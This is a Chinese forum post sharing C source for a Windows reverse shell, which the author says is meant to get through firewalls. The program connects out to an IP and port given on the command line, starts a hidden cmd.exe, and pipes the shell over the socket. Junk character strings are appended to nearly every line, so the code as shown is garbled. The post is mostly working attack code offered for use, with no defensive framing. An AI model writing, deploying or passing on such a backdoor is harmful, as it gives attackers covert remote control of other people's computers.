社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4240阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6{^E{go  
|4uWh  
/* ============================== 'U\<IL#U  
Rebound port in Windows NT b"#WxgaF  
By wind,2006/7 \l]DQaOEe  
===============================*/ Dk(1}%0U/  
#include '8{N e!y  
#include *rIk:FehLB  
C'o64+W^  
#pragma comment(lib,"wsock32.lib") Te<}*qvD  
}Du}c3  
void OutputShell(); 8>WC5%f*  
SOCKET sClient; c0;t4( &8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \4-"L>  
zhpt%7So  
void main(int argc,char **argv) w (/aiV  
{ xx{PespNt  
WSADATA stWsaData; &iA?+kV  
int nRet; e=.njMqW5  
SOCKADDR_IN stSaiClient,stSaiServer; [g:$K5\64  
r0,:J   
if(argc != 3) FMClSeO7  
{ N#DYJ-~*  
printf("Useage:\n\rRebound DestIP DestPort\n"); \8?Tdx=  
return; .R./0Ot tx  
} (+FfB"3]  
V9dF1Hj  
WSAStartup(MAKEWORD(2,2),&stWsaData); g'V>_u#(  
^ml'?  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NT+?  #0I  
Zy(W^~NT  
stSaiClient.sin_family = AF_INET; 1M 781  
stSaiClient.sin_port = htons(0); ] 0B2# d  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z3& _  
7[5.> h  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y! gCMLL  
{ 0^RXGN  
printf("Bind Socket Failed!\n"); A#95&kJpy  
return;  lS'-xEv?  
} C@L$~iG  
P)MDPI+~  
stSaiServer.sin_family = AF_INET; <\pfIJr$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  s8rE$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HFaj-~b  
^k#P5oV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H s"HID  
{ yX0dbW~@y  
printf("Connect Error!"); KNLfp1!  
return; JAX*hGhkh  
} Dqe^E%mc  
OutputShell(); UM6(s@$  
} Hr]h J c  
J_v$YwE  
void OutputShell() }XSfst5-H  
{ ~;&m*2 |V  
char szBuff[1024]; \DD0s8  
SECURITY_ATTRIBUTES stSecurityAttributes; ,]cD  
OSVERSIONINFO stOsversionInfo; nC}6B).el  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rjPL+T_  
STARTUPINFO stStartupInfo; X6mqi;+  
char *szShell; qQsku;C?i  
PROCESS_INFORMATION stProcessInformation; v>-VlQ  
unsigned long lBytesRead; dnb)/  
n_(/JE>  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); PX n;C/  
f1_<G  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OI0;BBZ  
stSecurityAttributes.lpSecurityDescriptor = 0; d~`x )B(  
stSecurityAttributes.bInheritHandle = TRUE; JMz;BAHT  
7e#?e+5+A  
Tp_L%F  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KFvQ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eQD)$d_5  
Y>EzTV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w`il=ZAC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0 Emr<n  
stStartupInfo.wShowWindow = SW_HIDE; q"<acqK  
stStartupInfo.hStdInput = hReadPipe; (Xq)py9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )Ib<F 7v  
*i- _6s  
GetVersionEx(&stOsversionInfo); 43Qtj$F  
KB'qRnkc  
switch(stOsversionInfo.dwPlatformId) sPMa]F(  
{ V8HnUuz  
case 1: N.]qU d  
szShell = "command.com"; 8qu2iPOcZ  
break; }= 6'MjF]  
default: Yl#Rib  
szShell = "cmd.exe"; j  S?xk  
break; KOp162X>r  
} 'F _8j;  
X(\fN[;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); weE/TW\e  
Mc%Nf$XQ  
send(sClient,szMsg,77,0); UF<uU-C"  
while(1) fe_yqIdk  
{ x-AZ %)N9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); /~Z?27F6@  
if(lBytesRead) l-s!A(l  
{ %_{tzXim  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IuOgxm~Y  
send(sClient,szBuff,lBytesRead,0); p Wt) A  
} `> ?ra-  
else { Q`QX`#  
{ 3&[>u;Bp  
lBytesRead=recv(sClient,szBuff,1024,0); b D[!/'4eJ  
if(lBytesRead<=0) break; o_D?t-XH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -R%<.]fJ  
} &*7?)eI!i  
} u9}1)9  
B]Y}Hu  
return; bV8!"{  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五